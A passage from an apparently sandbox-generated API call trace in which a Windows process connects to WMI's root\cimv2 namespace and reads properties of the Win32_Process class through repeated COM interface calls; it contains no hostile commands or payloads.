[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0146.029] WbemLocator:IUnknown:Release (This=0x1a9db4b0) returned 0x2 [0146.029] WbemLocator:IUnknown:Release (This=0x1a9db4b0) returned 0x1 [0146.029] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0146.030] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0146.030] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9db4b0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a9db4b0) returned 0x0 [0146.030] WbemLocator:IUnknown:AddRef (This=0x1a9db4b0) returned 0x3 [0146.030] WbemLocator:IUnknown:Release (This=0x1a9db4b0) returned 0x2 [0146.030] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0146.030] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0146.030] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.030] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1a9db510) returned 0x0 [0146.030] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a9db510, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc0af40) returned 0x0 [0146.109] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0af40, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa03ca0) returned 0x0 [0146.109] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa03ca0, pProxy=0x1bc0af40, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0146.109] WbemLocator:IUnknown:Release (This=0x1aa03ca0) returned 0x1 [0146.109] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0af40, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa03ce0) returned 0x0 [0146.109] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0af40, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa03ca0) returned 0x0 [0146.109] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa03ca0, pProxy=0x1bc0af40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0146.109] WbemLocator:IUnknown:Release (This=0x1aa03ca0) returned 0x2 [0146.109] WbemLocator:IUnknown:Release (This=0x1aa03ce0) returned 0x1 [0146.109] CoTaskMemFree (pv=0x1bbc5f30) [0146.109] WbemLocator:IUnknown:AddRef (This=0x1bc0af40) returned 0x2 [0146.109] WbemLocator:IUnknown:Release (This=0x1a9db510) returned 0x0 [0146.110] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0146.110] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0146.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0af40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa03cb0) returned 0x0 [0146.110] WbemLocator:IRpcOptions:Query (in: This=0x1aa03cb0, pPrx=0x1a9db1b0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0146.110] WbemLocator:IUnknown:Release (This=0x1aa03cb0) returned 0x2 [0146.110] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0146.110] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0146.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0af40, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc0af40) returned 0x0 [0146.110] WbemLocator:IUnknown:Release (This=0x1bc0af40) returned 0x2 [0146.110] SysStringLen (param_1=0x0) returned 0x0 [0146.110] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0146.110] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0146.110] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.110] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fd90, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0146.110] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fd90, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0146.111] IWbemServices:GetObject (in: This=0x1bc0af40, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc76cd0, ppCallResult=0x0) returned 0x0 [0146.114] IWbemClassObject:Get (in: This=0x1bc76cd0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0146.114] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0146.114] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0146.115] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0146.115] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0146.115] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0146.115] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.116] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1a9db510) returned 0x0 [0146.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db510, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0146.117] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db510, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1a97fa90) returned 0x0 [0146.117] WbemDefPath:IUnknown:Release (This=0x1a9db510) returned 0x0 [0146.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1a97fa90) returned 0x0 [0146.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0146.117] WbemDefPath:IUnknown:AddRef (This=0x1a97fa90) returned 0x3 [0146.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0146.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0146.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1a9db530) returned 0x0 [0146.117] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db530, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.117] WbemDefPath:IUnknown:Release (This=0x1a9db530) returned 0x3 [0146.117] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0146.117] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0146.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0146.118] WbemDefPath:IUnknown:Release (This=0x1a97fa90) returned 0x2 [0146.118] WbemDefPath:IUnknown:Release (This=0x1a97fa90) returned 0x1 [0146.118] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0146.118] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0146.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a97fa90) returned 0x0 [0146.118] WbemDefPath:IUnknown:AddRef (This=0x1a97fa90) returned 0x3 [0146.118] WbemDefPath:IUnknown:Release (This=0x1a97fa90) returned 0x2 [0146.118] WbemDefPath:IWbemPath:SetText (This=0x1a97fa90, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0146.118] IWbemClassObject:Get (in: This=0x1bc76cd0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0146.118] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0146.118] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0146.118] IWbemClassObject:Get (in: This=0x1bc76cd0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0146.118] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0146.118] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0146.118] IWbemClassObject:Get (in: This=0x1bc76cd0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0146.119] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0146.119] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0146.119] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0146.119] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0146.119] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0146.119] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.120] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9db150) returned 0x0 [0146.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db150, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0146.121] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db150, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcdaae0) returned 0x0 [0146.121] WbemDefPath:IUnknown:Release (This=0x1a9db150) returned 0x0 [0146.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaae0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcdaae0) returned 0x0 [0146.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaae0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0146.121] WbemDefPath:IUnknown:AddRef (This=0x1bcdaae0) returned 0x3 [0146.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaae0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0146.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaae0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0146.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaae0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9db3f0) returned 0x0 [0146.121] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db3f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.121] WbemDefPath:IUnknown:Release (This=0x1a9db3f0) returned 0x3 [0146.121] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0146.121] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0146.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaae0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0146.121] WbemDefPath:IUnknown:Release (This=0x1bcdaae0) returned 0x2 [0146.122] WbemDefPath:IUnknown:Release (This=0x1bcdaae0) returned 0x1 [0146.122] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0146.122] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0146.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaae0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcdaae0) returned 0x0 [0146.122] WbemDefPath:IUnknown:AddRef (This=0x1bcdaae0) returned 0x3 [0146.122] WbemDefPath:IUnknown:Release (This=0x1bcdaae0) returned 0x2 [0146.122] WbemDefPath:IWbemPath:SetText (This=0x1bcdaae0, uMode=0x4, pszPath="") returned 0x0 [0146.122] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0146.122] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0146.122] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0146.122] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.123] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9db150) returned 0x0 [0146.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db150, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0146.124] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db150, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcdaba0) returned 0x0 [0146.124] WbemDefPath:IUnknown:Release (This=0x1a9db150) returned 0x0 [0146.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaba0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcdaba0) returned 0x0 [0146.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaba0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0146.124] WbemDefPath:IUnknown:AddRef (This=0x1bcdaba0) returned 0x3 [0146.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaba0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0146.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaba0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0146.124] WbemDefPath:IUnknown:QueryInterface (in: 